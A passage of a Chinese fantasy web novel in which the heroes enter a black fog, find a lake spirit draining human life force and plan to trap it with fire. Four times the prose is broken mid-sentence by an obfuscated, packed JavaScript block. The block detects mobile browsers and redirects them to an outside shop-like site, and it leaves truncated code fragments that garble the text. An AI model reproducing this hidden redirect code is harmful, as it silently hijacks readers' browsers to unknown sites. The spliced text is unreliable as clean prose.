“我在跟大家说一说这第三件事,有人在世界各处安放了这种蜡烛阵法,能夺走人们的生命之力,应该有不少玄门中人掺和其中,你们自查一下,如果查出来了,配合把这些阵法毁了,我能饶你们一次,否则,就全来‘怪奇诊所’接受诊疗吧。”独孤尽扯了扯唇角,“原本‘怪奇诊所’是不搞连坐的,但这次事情严重,只能连坐了,你们尽快排查吧。” “具体的阵法,如何排查、如何销毁,让陆烨修跟你们说吧,我得先和影流门掌门去把黑雾除了。”独孤尽挥了挥手,又看了陆烨修一眼,“交给你了。” “你还真会给我安排活,等回来了,记得请我和我父母吃一顿大餐,不然太不够意思了。”陆烨修这会儿真有种自己是傻白甜,被安排着白干活的感觉。 关键是,自己还干得很开心,光在傻乐呵。 要不是被父母频繁踹脚,他都回不过神。 “放心,到时候再送你一样宝贝。”独孤尽直接画了个大饼,反正画里宝贝那么多,挑一件送给陆烨修也是应该的。 独孤尽不想跟这位影流门掌门有什么肢体接触,只能提着他连帽衫上的帽子,牵着春渐满一同瞬移到了黑雾眼。 “不对劲……你们有没有发现,这雾比之前更活泛了?!” 144. 水中立人 原本的黑雾中心此刻更加黑暗,像龙卷风一样盘旋在半空的黑雾从远处看还是静止的状态,可独孤尽他们到了中心位置才发现黑雾飞旋得极快,像是要把天地连接起来。 “如果人被卷进去,会怎么样?”独孤尽不合时宜地提出了疑问,且这种疑问让人觉得他是不是脑子有坑。 春渐满虽没什么反应,他已经习惯了独孤尽突如其来的神思维,可影流门掌门就不适应了,他怪异地看了独孤尽一眼,“你要进去?” 他虽也认可“怪奇诊所”当家确实有常人难以企及的本事,可这种与天作对的程度,他还是觉得对方在作死。 独孤尽也知道自己的这个想法是作死,可他就是莫名觉得这黑雾飞卷的样子很熟悉,熟悉得他想要进去看看,兴许……跟他丢失的记忆有关。 独孤尽又看了春渐满一眼,见他没什么惊讶的表情,可能这黑雾只跟他有关吧。 “我想进去看看。”独孤尽确实艺高人胆大,他有点儿太热衷作死了。 “非得进去不可?”春渐满难得拽住了独孤尽的手臂。 “放心,我一旦察觉不对,就瞬移回来。”独孤尽觉得多加几层防护,再进黑雾,应该问题不会太大。 “他一向如此?”影流门掌门吃惊地看着一意孤行的某人,问春渐满。 “一向如此,你很快就会习惯的。”春渐满淡淡瞥了一眼独孤尽的背影,就这么一会儿,他已经独自前行了十几米。 “我们的目的不是过来消灭黑雾的吗?我还没尝试呢,他就先去冒险了?” “他很快就会回来,耽搁不了多少时间。”春渐满为独孤尽辩解了一句。 “你是有多信任他?”影流门掌门实在无法理解。 但此刻也没其他办法,他找了个石头堆,蹲在上面臭着脸。 他之所以会建个这么新的门派也是因为自己比较有个性,想把同样有个性的人聚集起来,一起研究点新鲜的,原本他还对“怪奇诊所”心怀好感,觉得是一类人,现在看来,他们根本不是同类。 起码,他在大事上还是会更认真的,哪能像这位一样儿戏?! 独自生闷气生了会儿,就在他想走的时候,那位总算回来了。 独孤尽的头发都被吹炸了,现在一整个竖起,像是被极其强烈的电流给往上拉直了一样。 “你……发型毁了。”春渐满没忍住多看了两眼,甚至上手去扯了一下,那头发在他手上卷了一圈,随即又直接弹了上去。 “发型?什么发型?”独孤尽丝毫不知道自己现在形象已经毁了,但他顾不了这些,“别管发型了,你们俩都跟我进去。” 他伸了伸手,直接把蹲在远处的某人抓了过来。 “你干什么?你一个人发疯还不够,还要带我们俩一起发疯?!” “你叫什么,给个称呼。”独孤尽没管他的乱叫,直接问。 “……曾钰。” “我为什么要告诉你我的名字,你到底想干什么?!”曾钰默默报完名字才反应过来,他气急败坏整了整自己的帽子。 “还有,别再扯我帽子了,要扯变形了!”他冷酷神秘的形象都要维系不住了。 “里面有人,有很多人,你们跟我进去。”独孤尽勉强解释了一句,接下来就没给人反应的时间,直接往里去了。 先前,他还跟着黑雾转了好多圈才进到阵眼里,可这次,他已经去过一次,能够直接瞬移进去了。 春渐满和曾钰完全没遭罪,但可惜的是,不知道是不是磁场的问题,他们的头发也都竖了起来,曾钰是短发还好,可春渐满自从受到黑雾影响,就变成了长发,此时此刻,他的形象就像一棵真正的大树,枝干分明。 “这是什么地方?!”春渐满没法接受自己这种形象,他干脆将枝干都现了出来,把头发缠在了藤蔓上,往下压着才罢休。 “你这是什么术法,我研究了这么多,还从未见过,也从未想过还能有这种……”曾钰现在不想跟独孤尽说话,只想跟同为受害者的春渐满交流。 “我天生就这样。”春渐满也没法说清,他从有记忆开始,自己就能如此操控,根本不存在学习一说。 “那他的呢,总不能也是一出生就会吧?”曾钰又朝独孤尽那边努努嘴。 有一个天才他信,可天才扎堆他就不怎么信了。 “那你该去问他,我跟他……也不怎么熟,才认识几天。”春渐满没提自己失忆的事,毕竟失忆这件事也是旁人与他说的,又不是他自己的第一认知。 “认识几天?认识几天他占有欲这么强?!”曾钰现在不好奇独孤尽的能力了,好奇这两人的关系了。 “占有欲?怎么看出来的?”春渐满还真没关注到这一块。 “这还用怎么看出来?!你没发现他带你的时候都是搂腰或者牵手吗,对我,直接拎帽子。”曾钰嘴角抽了抽,“而且,你们俩站的距离和我跟他站的距离那能比吗?” “这就能看出占有欲了?”春渐满觉得不对。 “怎么看不出,你看,我跟你说了几句话,他眼里都快喷出火来了。” “眼里要喷火?我怎么没看出来?”春渐满也朝着独孤尽看过去,如果说怒发冲冠还毕竟符合他现在都形象,眼里可是没冒火。 “你们粘在一起干什么,跟我走。”独孤尽扣住了春渐满的手腕,又盯了曾钰一眼。 曾钰摸摸鼻子,跟在后面。 他可没想撬墙角啊,别误会了。 “这是什么地方?是黑雾里?”曾钰这会儿才好好打量周围,这是一片枫林,火红的树叶随风飞旋,怎么看都不像是黑雾里该有的地方。 “有些废话可以不问。”独孤尽显然对刚才曾钰跟春渐满窃窃私语不满,说话也没好气。 “怎么能算废话,你这么厉害,想去哪就去哪,我们怎么知道你是不是把我们拐卖到别处去了?这地方又到底是不是黑雾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689041|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里。”曾钰说完又一次看向春渐满,寻求同伴的认可。 这回春渐满倒是认同了曾钰,“这真是黑雾里?” “满哥……你怎么也跟他一样质疑我?我把你们瞬移到别的不相关的地方对我有什么好处吗?”独孤尽满头黑线,他现在很郁闷。 原本跟他世界第一好的满哥现在快被其他小白脸钓走了。 “所以你想带我们看什么?你说的很多人在哪?”春渐满环顾了四周,一个人影都没瞧见。 “别急,马上就到位置了,对了,你俩做好心理准备,等会儿见到什么都别害怕。”独孤尽其实想说别大喊大叫,可想了一下两人的性格,应该不会跟陆烨修一样乱喊。 又走了约莫几十米,总算穿过了这片枫叶林,前面豁然开朗,是一大片沉寂的湖泊,湖水碧蓝,还能倒影到几棵枫树。 “到了,你们往水里看。”独孤尽停下脚步,伸手指了指湖泊。 “不会是我想的那样吧?”曾钰顿时头皮就开始发麻,可事到如今,不看也得看。 春渐满看到水底密密麻麻的人时还比较冷静,可曾钰头发竖得就更直了,他直接炸毛了,鸡皮疙瘩掉了一地。 “这……这是我也不清楚的术法……”曾钰赶忙为自己辩解了一句,先前黑雾就有很多玄门世家误会他们了,这种可不能再赖在他们身上。 独孤尽看了曾钰一眼,他没觉得黑雾和这底下的人跟曾钰有关系。 “满哥,你有什么头绪吗?”独孤尽压低了声音,“千万年来,你可有见过这样的景象?” “未曾。”春渐满轻轻摇了摇头,他跟独孤尽和曾钰的感觉都不一样,树木经常会扎根在水里,而他接触植物比人类多,对人类跟树木一样一根根直立在水里没觉得有多诡异。 “你下去把人弄上来。”独孤尽看了曾钰一眼。 “我?你开什么玩笑,我们是这样亲密的关系吗?”曾钰嘴角抽了抽,他不敢置信地指了指自己。 “既然你同意上我这条贼船,就该想到会有这么一刻。”独孤尽点了点头。 “我不会闭气,下不了水。”曾钰面色铁青,他真没想到有人能这么厚脸皮说出这种话。 “你连闭气都不会你也算掌门?”独孤尽的语气充满鄙夷。 “我不会,但我门派中有的人会。”曾钰不服气,谁规定掌门就一定要会游泳了? “我来吧,方便点。”春渐满看了即将吵起来的两人,揽下了重任。 他让枝条蔓延到水中,不断深入。 这些人看起来就沉在触手可及的地方,可春渐满探枝下去时却发现湖水很深,许是太清澈了才给了人这样的错觉,他这会儿枝条都下去了有百米深,还没够着人。 “你扶着点我。”春渐满看了独孤尽一眼,失去记忆后头一次向独孤尽寻求帮助。 “好。”独孤尽挨近了一步,伸手揽住了春渐满的肩膀,几乎将他牢牢固定在怀里。 145. 掌门落水 湖底的人,或许可以说是类似人的生物,像多米诺骨牌一样,被春渐满的枝条触碰到后,一个接一个往后倒去,且开始粉碎。 清澈沉静的湖水一下像煮开的沸水一般吐起泡泡,扑腾扑腾追着春渐满的枝条往上走。 “快跑!”春渐满收回枝条,轻拍了两人一记,将他们打出去,远离这片疯狂起来的湖水。 “什么情况?!这水里的到底是什么东西?!”曾钰因为看到湖底那些人会浑身起鸡皮疙瘩,刚刚站得远,也没看到湖里的情况。 但独孤尽离得很近,那些人像是什么特有的物质,被外界触碰就直接毁坏了,说炸就炸。 还直接炸成了粉末,这种威力不容小觑。 独孤尽在每个人身上都加固了防御,才挡下了飞溅上来的湖水。 这湖水里不知道是不是混了刚刚的物质,碰到什么什么就开始融化,枫树都没幸免,绯红的树叶只要沾上立马就起了无数个孔洞,随后连经络都不剩。 “快出去!先出去!”曾钰迫不及待逃离这里。 独孤尽扭头看了一眼,那湖水跟活了似的,紧追着他们,看起来有点儿眼熟。 很像最初的黑雾……追着人,粘上就甩不掉了。 “我再试试,你们先躲远点。”独孤尽有了个猜测,他转身正面迎了一下这层水浪。 水浪竟没临他一头一脸,他眨了两下眼睛,朝水浪那边走去,一步一步逼退了它。 春渐满原本还听话地跑了会儿,听到身后没什么动静后,也转了身,他是有点担心独孤尽的,曾钰则飞速跑着,他可和这俩人没什么情谊,只想先行保命。 “曾钰,你过来。”春渐满一边说,一边用枝条过去卷了跑远的曾钰将他捆了过来。 “你放开我!想死别拉我陪葬!”曾钰整张脸都黑了,他根本不想睁开眼看那恐怖的水。 春渐满可没有怜香惜玉的概念,他直接用枝条撑开曾钰的眼皮,强迫看他眼前的一切。 那些湖水像生物一样已经被独孤尽所控,独孤尽只要抬抬手那水就能变幻成各种形状,独孤尽再一挥手,水就全退到湖里去了。 “牛啊……你这什么能力?!”曾钰目瞪口呆看着独孤尽一通操作。 “用了什么口诀?” “没用口诀,天生的。”独孤尽的回答永远都很气人,但他说得确实是实话,只是凭借着本能,就将那湖水控制住了。 也许……他真的是从天上下来历劫的。 “他一向这么说话?”曾钰把帽子戴上,他想狠狠揍独孤尽一顿了,起码用他的术法让独孤尽不好过,但他有点儿没信心,那么怪异的东□□孤尽都能轻而易举拿下,他真的能让独孤尽吃瓜落吗? “别想动其他心思,他很小心眼。”春渐满看了曾钰一眼,好心提醒。 “确实看着很小心眼。”曾钰对此很认同,但不可否认,独孤尽现在救了他们,虽然也是他把他们带到了危险里。 功过相抵吧。 “你们过来看,这水里有个人。”独孤尽已经把脑袋低下去了,他远远地望着静静躺在湖底的人。 “怎么又有人?我不去看了!”曾钰现在还头皮发麻,他是半点儿都不想看了。 春渐满去看了一眼,先前那一排排的人没了,湖水竟然也没变得混浊,反而还是干干净净的,现在湖水被独孤尽逼了退回去,连点儿波澜都没了,湖底静静躺着一人,这人长得挺不像人的…… 春渐满起码没在人类里见过这种长相和气质的。 那人身形很长,起码得有两米多了,浑身上下不着片屡,肌肉分布均匀,看起来栩栩如生,不像个沉睡着的,反而像活着。 只是,在他们的眼里,这人没有呼吸,也没有心跳起伏。 可能,身上也应该是凉的。 曾钰说着不看不看,可耐不住另外两人一语不发,他实在忍不住想知道发生了什么,也凑过去看了一眼。 “这是湖神?!” 曾钰的惊呼拉回了两人的思绪,“你认识?” “我……我不认识,但是古籍里有记载,应该每个玄门都知道这个。” “按理说,湖神不该对我们发起攻击啊……”曾钰蹙眉思索着,“湖神是保护一方百姓的,平日里有人失足,它都会用湖水把人托到岸上,大家都说,有湖神的地方是仙境,因为在这里生存的人,永远也不用担心孩子失踪,或者有人不小心落水。” “而且,如果村落遇到什么野兽袭击,湖神也会帮忙,这样,村民们还能免费获得湖神馈赠的野兽,是传说中很善良的神仙了。”曾钰像是回忆起了什么,脸上神情变幻莫测。 “但是,湖神也需要抽取大家一部分生命力来供养,可因为湖神一直庇佑,况且抽取的也不多,不会对大家产生什么影响,所有人都没有意见,是自愿供给的……” “那刚刚湖里看到的那些站着的人……是不是并不是人,而是人的幻影?其实是部分生命力?”春渐满想到关键处,他们之前拆除的蜡烛阵法,那种夺取人生命力的阵法…… 湖神……黑雾……生命力…… 好像一切都串联起来了。 “怪不得黑雾一直消除不了,原来人类惹了不该惹的。”独孤尽挑了挑眉,又往湖里看了一眼。 “来吧,把你消除黑雾的方法用上。”独孤尽冲曾钰抬了抬下巴,示意他可以开始了。 曾钰用大拇指指了指自己,“你说我?让我现在用术法?” “对着什么?我的术法是消除黑雾的,现在这里不是没黑雾吗?”曾钰心里一阵咯噔,他隐隐觉得自己是真上了一条贼船。 “你在说什么,我们不正在黑雾里呢?你就在这里施法,黑雾散了我们应该会回到原先的地方。”独孤尽将湖面让开,让曾钰站在最前面。 “我……我对着湖神施法?!我疯了?!”曾钰真不敢想像,一个人类惹怒神明的下场。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689042|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 况且,湖神也不是什么邪神,人家是那么好的神。 “快点,磨磨唧唧的还是掌门呢。”独孤尽嘴上不把门地讥讽了一句。 “你,你给我等着!”曾钰还真挺不受激,他咬了咬牙,看着那沉静的湖水,从口袋里取出一把小刀,轻轻在指尖割了一个口子,将血液滴入湖水,随后趁伤口还没愈合,在空中画了个符咒,那架势还真有点掌门的意思。 反正,独孤尽没看懂那符,只觉得一气呵成,很有气势。 曾钰又用极快的语速念了一长串让人记不住也听不清的,那在空中画的符咒就闪现了金光,越长越大,甚至能压住整个湖面,曾钰也突然腾空而起,立在了半空中,低呵了一声,那符咒就压在了湖面上。 独孤尽和春渐满都没打扰曾钰,生怕打扰了这位掌门人酿成大错。 曾钰维持着同一个姿势,额上的汗越来越多,可黑雾仍旧没有消失,起码,他们还没从这个地方离开。 独孤尽又在一旁等了会儿,稍微朝前走了点,他看了看湖水里毫无波澜的湖神。 “不然歇会儿再试?” “不行,没用,之前用这招在外面对黑雾很管用,黑雾直接会散。”曾钰喘了两口气,直接瘫坐在湖水边。 他没注意到,自己的裤角碰到了湖水。 “有没有可能,我们根本不在黑雾里?说不定黑雾是个传送介质,直接传送到了这个地方,所以我的术法不起作用。”曾钰揣测着,又歇了好一会儿,刚打算起身,就觉得自己的屁股在地上挪动。 “哇啊——”等他回过神时,已经来不及,他被湖水扯入了湖里。 “我……唔啊啊……我不会游泳……” “满哥,拖住他。”独孤尽看了春渐满一眼,春渐满当即射出了枝条,缠绕在曾钰身上,独孤尽又伸手勾了勾湖水,“起。” 湖水想不听独孤尽的话,可挣扎了片刻,还是被独孤尽冰冷的眼神给震慑住了,放软了,任凭独孤尽操控。 春渐满借机把人拖上了岸,远离了湖边。 “噗……咳咳咳……”曾钰呛了两口水,索性他在关键时刻紧闭了口鼻,没呛太多水。 “不是说湖神是保护人的吗?怎么反而把我拖下去了!”曾钰惊魂未定,他对着自己心口点了几下,施了个静心术,现在这种时候没时间让他慢慢恢复。 “不清楚,关于这个湖神,我们之中只有你最了解。”独孤尽觉得此事不能如此进行,他看着曾钰认真开口,“玄门中,除了你门派的人,其他门派里,有没有可信可用的人?” “除去那些老顽固,倒还有一些人应该能用,就是不知道他们愿不愿意帮忙。”曾钰还真知道些人,可他对这些人也是知人知面不知心,没有深交不敢作保。 “得想办法让他们出山,起码弄明白这湖神的真面目,否则我们无从下手。”独孤尽挥了挥手,直接把人带回了酒店。 从长计议吧。 146. 湖神还是湖妖? 酒店里的玄门中人有一部分在陆烨修的安排下回了房间,还有一部分在等着独孤尽他们回来,并没离开会议厅,还有被“怪奇诊所”控制在那儿的几人。 独孤尽一到酒店,酒店就立刻通知了陆烨修,陆烨修敲门时,几人还惊魂未定。 “怎么不直接回会议厅,还有人在等着你们呢。”陆烨修一进门就想把独孤尽拽出去。 “会议厅里还留了多少人?”独孤尽并不打算直接过去。 “说多不多,但也还有好几十号人。”陆烨修想起什么,又提醒独孤尽,“还有你的烂摊子在那呢。” 独孤尽回忆了一下,才想起来,天脉门的那些人还被他控制着,是该放他们出来了,不然在那种空间久了可是容易让人精神错乱的,虽然天脉门是古老的玄门世家,但派过来的这些人资质如何还有待商榷。 别到时候真把人关出问题来了,那可是要找陆家麻烦的,他们已经让陆家出面做了这么多让人仇视的事,可不能再多添上一条了。 “这个你对照一下,不在会议厅的让他们过去,不在名单上的人,你把他们请回房间。”独孤尽给了陆烨修一份名单,这是曾钰告诉他的人。 这些人中会不会有些不配合这不是他要关心的,毕竟,如果真不配合,大不了不用。 现在重要的是,让大家都知道湖神的存在,看看多有谁有特殊反应。 陆烨修没想到自己就这么敲个门就又领了个活,悔不当初,他就应该摆烂,他现在是吃力不讨好,哪边都在挨骂。 “你给我等着!” 陆烨修算是气急败坏出的门,只不过那张纸被他紧紧攥在手里,没忘了。 “准备一下,去会议厅。”独孤尽帮春渐满整理了一下衣服,这么一番折腾下来,两人的衣服多多少少有些凌乱。 反观曾钰,他本就穿得本休闲随意,倒是没什么需要整理的。 等陆烨修那边处理好,独孤尽他们才姗姗来迟走进会议厅。 独孤尽先把天脉门的众人放开了,让陆烨修领着人先回房间休息,随后把会议厅的大门紧闭。 这回他没站在讲台上,反而在台下转来转去,走到每个人面前,好好端详。 “还有什么事,有事说事,别在这跟看猴一样盯着我们看,多不礼貌啊。”有人忍不住了,确实,好好的人被这么盯着瞧多多少少都会有些不适。 “却有重要的事,才把诸位再次请过来,不过我得先排查一番,确认大家都是可用之人,才能说明原因。”独孤尽这回倒是好好地为大家解了惑。 毕竟,这些人等会儿都是合作伙伴,不宜得罪得太过。 凡事留一线,日后好见面,尤其是现在需要大家帮忙的情况下。 “你这样能排查出什么?难不成你也能看相?”有些玄门世家特别擅长此法,可他们不信“怪奇诊所”的当家会。 独孤尽自然没什么看相的能力,但他只要靠近这人,就能通过能量感知到这人是不是良善之辈。 并非良善之辈就能用,也并非不是良善之辈就不能用,只不过筛选出来之后,才能更好地让他进行二次观察,或者说,留个心眼,以防万一。 “诸位稍安勿躁,再给我五分钟,不耽搁大家时间。”话是这么说,可还是好些人都不情愿,“我们等你等到现在,午餐还没用,人是铁饭是钢,再怎么辟谷,也没人能真正做到完全不食人间之物的。” 而且曾钰给出的这个名单,大部分都是年轻人,有很大的局限性,毕竟曾钰就是年轻人,他自然对年轻人会比较熟。 “你饿吗?”独孤尽扭头看了春渐满一眼,春渐满摇摇头,他作为神木,其实是不用吃东西的,只不过,他为了让自己像个人类才会进食。 当然,肯定不是因为他馋,也不是因为人类的食物太好吃了。 “先用了午餐,再讲。”春渐满帮大家谋了个福利。 “行,我去跟酒店负责人说一下,让他们把午餐做成盒饭,端过来。”独孤尽才是真不饿,他现在没半点心思进食。 这下坐在会议厅的人才没了异议,此后任独孤尽再用怎么怪异的方式排查,他们都乖乖的。 “你们几个,坐到这边来。”独孤尽把几个需要重点关注的对象单独拎了出来,让他们坐到最前排。 他们几个平时也没有任何交集,本来就在不同的门派中,有时候门派有活动会见到面,可更多的时候,他们是零交集,这也就导致了他们互看都没发现自己和对方的共通点。 被揪出来单独坐实在是怪。 难不成这位“怪奇诊所”当家真会看相?他们之间真有什么交集不成? “趁午餐还没来,我把需要大家帮忙的事情说一说。”独孤尽选了个最讨人厌的时机,“大家吃饭的时候也能多想想。” “我们与影流派掌门一同前去消灭黑雾,可在黑雾深处,却遇见了‘湖神’……”独孤尽将他们遇到的情景一五一十没有任何夸张地给大家叙述了一遍。 “你们中,可有人认识这‘湖神’?或者听说过?” “这东西……若非亲眼所见,我不敢确认是否是同种……”果然人多力量大。 “想要亲眼所见,那容易。”独孤尽走到那位少年的面前,直接用食指在对方额心点了点,就让他恍若身临其境一般感受了一次。 “这是何等术法?!竟如仙人之术。”少年睁开眼后,满脸惊奇,他对自己所见之物暂时没什么兴趣,反而对独孤尽产生了极其浓厚的兴趣。 “这我实在没法教你,天生的。”独孤尽抽了抽嘴角,他自己所会的,都无法教人,除非对方是像春渐满这样无师自通的天才。 “‘湖神’,你可有思路?”独孤尽抓紧时间问关键问题。 “那东西是谁跟你们说是‘湖神’的?”少年朝几人看了看,眨巴着眼睛。 独孤尽和春渐满没往曾钰那看,可曾钰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689043|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却看了过来,难道他认错了? “湖神与湖妖虽然只有一字之差,但差得却不是一星半点,刚刚你们碰到的那是湖妖。”少年故作老成摇头摆脑了一番,“这么说吧,你们应该都听过精怪的故事吧,湖妖可是很喜欢把人拖下水的,但你们见过哪个神会做这种事吗?” “它们虽然看起来像,但从根本上来说,是截然不同的,湖妖是诞生在湖里的,可能是由某些执念凝聚而成的,干得也不是什么好事,喜欢夺人精魄,哦,也就是你们说的生命力。”少年拥有了独孤尽他们的那段记忆,干脆把有些名词改了过来。 “而湖神,确实如他所说,是那样的特性,是保护一方的。”少年说完还眼尖地瞧见了过来送餐的工作人员,吹了声口哨,“开饭了。” 既然是妖,那就好办了,独孤尽想到了自己的画,如果是妖,那就不奇怪对方为什么会听他使唤了。 想必,他能顺其自然将其收复在画中。 独孤尽把替春渐满把盒饭打开,不得不说陆烨修选的这家酒店确实不错,餐品也很有食欲。 他也挺久没吃这么好吃的东西了,果然人类还是需要满足口腹之欲的,只有这样,才能体会到切实的快乐。 春渐满失去记忆后,没怎么吃过好吃的,前面都是凑活,而且当时他觉得最美味的也就是汽水了,现在才知道,原来人类有这么多好吃的。 这个什么肉,怎么做的,这么鲜香,这还是肉吗? 独孤尽见春渐满吃饭吃得眼睛都亮了,也舒了一口气。 “是不是觉得做人类也挺好的?”独孤尽压低了声音跟春渐满说。 “好是好,就是人类太被动了,有很多做不到的事,太脆弱了。”春渐满又夹了一筷子红烧肉。 “但神仙、妖……也有各种被动的情况,也不是全能的。”独孤尽感慨出声,虽然他的声音已经控制得很低,可在这里的都是玄门中人,大家多多少少都有办法听清。 一听清,嘴里的饭就不香了,他们终其一生都在向上修行,哪有人说神仙也不是全能的?神仙要不是全能的,那人类就更渺小了。 他们身为人类,哪有能力同情神仙,这不是可笑吗? “各有优点吧。”春渐满倒是被说服了,可能因为他们俩本就不是人类。 独孤尽没再说别的,他已经感觉到周围的氛围变得剑拔弩张了。 不能再招人恨了。 “对于这湖妖,你们了解多少,对付它的时候需要注意什么?”独孤尽等大家都吃完,才再次开口。 “只要有水的地方,它都能生存,滑不溜手,很难解决。”还真有人跟湖妖动过手,他把自己之前对付湖妖的经验说了出来。 “若要抓,或者封印它,需要如何?”独孤尽现在可不敢直接把它丢在画里,这东西如果真的是吸食生命力维系生存,那他画里现在有那么多人,都是养料。 “神木为引,集火攻之方可。” 147. 风可生火 “神木为引?”独孤尽不可能让春渐满以身犯险,哪怕危险只有一点点,他也不允许,“可有更稳妥的方法?” “那便再无了。”那人抱了抱拳,甩了下衣袍重新坐回位置。 他打扮得道骨仙风,生命能量感受着也不是那等尖酸狡猾的感觉,说得应是实话。 独孤尽抬眸环顾了一下众人,似乎再无人有其他建议。 “那便以我为引,这火,需要用什么燃?”春渐满不觉得自己为引会有什么危险,那不知道是湖神还是湖妖的东西虽看着神秘让人摸不着头脑,但他还不惧。 “用……用神木引燃……” “不可!满哥!你别听他们瞎说,我能直接用火攻之,你只管将那东西引出来,引到我的火阵中,让它无处遁逃即可。”独孤尽立马打断了那位说话的,给了他一个如刀的眼神,那人话到嘴边又噎了回去,再不敢乱说了。 “我等愿同去,为诸位护法。” 独孤尽看了一眼出声的少年,可能人年轻,心性也不一样,更少权衡利弊,心里如何想的,便要如何做了。 “你可代表不了他们,你们愿意一同去吗?”独孤尽看向其他年长者,虽基本上年纪也都较轻,可却再去像少年这般年轻的了,不知道他们可还有那股勇往直前的冲劲。 这句话问下去,一时间落针可闻。 少年有些不敢置信地扭头看了众人,他在门派中一向都算谨言慎行的了,多得是热血上头的,一般只要他开口允许的事,没人不同意,没人不愿前往的,可他忘了,并非所有人都如他门派中人。 外头多的是墨守陈规之人。 曾钰也对自己选出来的这些人产生了点儿疑惑,曾经听说都是个顶个的玄门高手,怎么现在跟软脚虾似的,而且,不好骗,还没那些老顽固好糊弄。 “既如此,那就我们几个去。”独孤尽冲少年点了点头,有的时候人多不见得就是好事,人多管起来还困难,一旦有不听话的,自以为是干点什么,反而会坏事。 曾钰又用充满希冀的目光看了一眼众人,发现其他被留下的人都避开了他的视线,也只能认下这个事实,无论是顺境还是逆境,真正能站出来的人,可能就只有那批人。 “吾等玄门让你们见笑了。”曾钰忽然冲着独孤尽行了个大礼。 “说什么大瞎话呢,你不能代表他们,他们也不是你,什么样的地方都有各种各样的人,见多了就习惯了。”独孤尽实在无法说出,自己见过的罪犯比他们吃的盐还多,见过的猎奇心理也数不胜数,这种寻常人的逃避心理算什么,连芝麻都算不上,不至于让他对玄门失望,倒不如说,能找出两位愿意配合的已经是幸事。 况且,其他人虽然不愿意跟他们同去,但也将自己所知都贡献出来了,这样就足够了。 “无事,诸位有自己的考量,只是还请暂时别回房休息,如在收复湖妖途中遇到什么突发情况,我等还要回来请教诸位。”独孤尽算是给了大家一个台阶下。 即便真有人想回房,可想到先前天脉门被“怪奇诊所”所控制在会议厅的丑状,便也不敢再有这种想法了。 “高义!如若真将世界恢复正常,所有人类都会铭记‘怪奇诊所’,我们也会为‘怪奇诊所’正名。”有人为了挽尊,回应了一句。 说实话,“怪奇诊所”真不需要玄门来正名,他本就行的是正义之事,如果让罪犯去自首都需要正名,那就太可笑了。 可对方一片好心,他也不能驳了,“那我们这就过去了,还请诸位提起十二分精神,准备支援。” 独孤尽说完这句话就朝少年招了招手,将他拢到自己触手可及的范围。 他看了曾钰一眼,曾钰了然地点点头,抓住了少年的胳膊,随后如同前几次一般,眨眼间,他们就换了个位置。 这回没先到黑雾眼再进黑雾,而是直接进了黑雾里。 这里的景象太过别致,少年进来后竟有几分恍惚,“这是仙境?” “并非,小心点,湖妖就在前方。”独孤尽已经第三回进来了,轻车熟路给少年指出方向。 不知为何,他们离开后,这片土地又恢复了原样,就是不知道湖里那些竖着的人还在不在。 “枫树林尽头就是湖,湖妖就在里面躺着呢。”曾钰也给少年指路。 只有春渐满心不在焉,他总算发现有哪儿不对劲了,之前进来的时候他都没反应过来,这里的枫树无法受他驱使,他没办法控制。 可按照常理来说,这世间的植物他都能轻而易举化为己用,像现在这样的情况真的很罕见。 有没有一种可能,这枫树并非是枫树,只是长了枫树的样子? 春渐满连路都不走了,他抬头凝望起绯红的枫树叶。 这不看不要紧,他在枫树叶中瞧见了一双熟悉的眼睛。 正是湖妖的眼睛! 他浑身僵硬,有些不自在地低下了头,假装什么都没发现一样,继续跟着往前走,只不过他悄悄签住了独孤尽的手,在他手上写写画画。 独孤尽的脚步微微迟疑,他不动声色放缓了步子,安抚性地捏了捏春渐满的手,在即将抵达湖边的时候,忽然停下了脚步。 他故意抬高音量,“前面就是那片湖了,湖妖应该就在里面。” “可要在此布置?”曾钰觉得在这里布置正好,等会儿湖妖从湖里出来攻击他们,正好进圈套。 以火攻之,让它屈服。 独孤尽算了下整片枫林的范围,觉得他这个火攻还真没办法一次拿下湖妖。 按照春渐满跟他说的,可能这一整片枫叶林都是湖妖本身,是由它幻化出来的。 “不急,我们得测量一下风向,来再转一圈。”独孤尽带着大家围绕着湖远远得转了一圈,一直转到远离枫叶林的那一面,才用极低的声音把刚刚春渐满的发现告诉大家。 “什么?!你说那枫叶上面藏着湖妖的眼睛?!”曾钰再一次起了一身鸡皮疙瘩,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 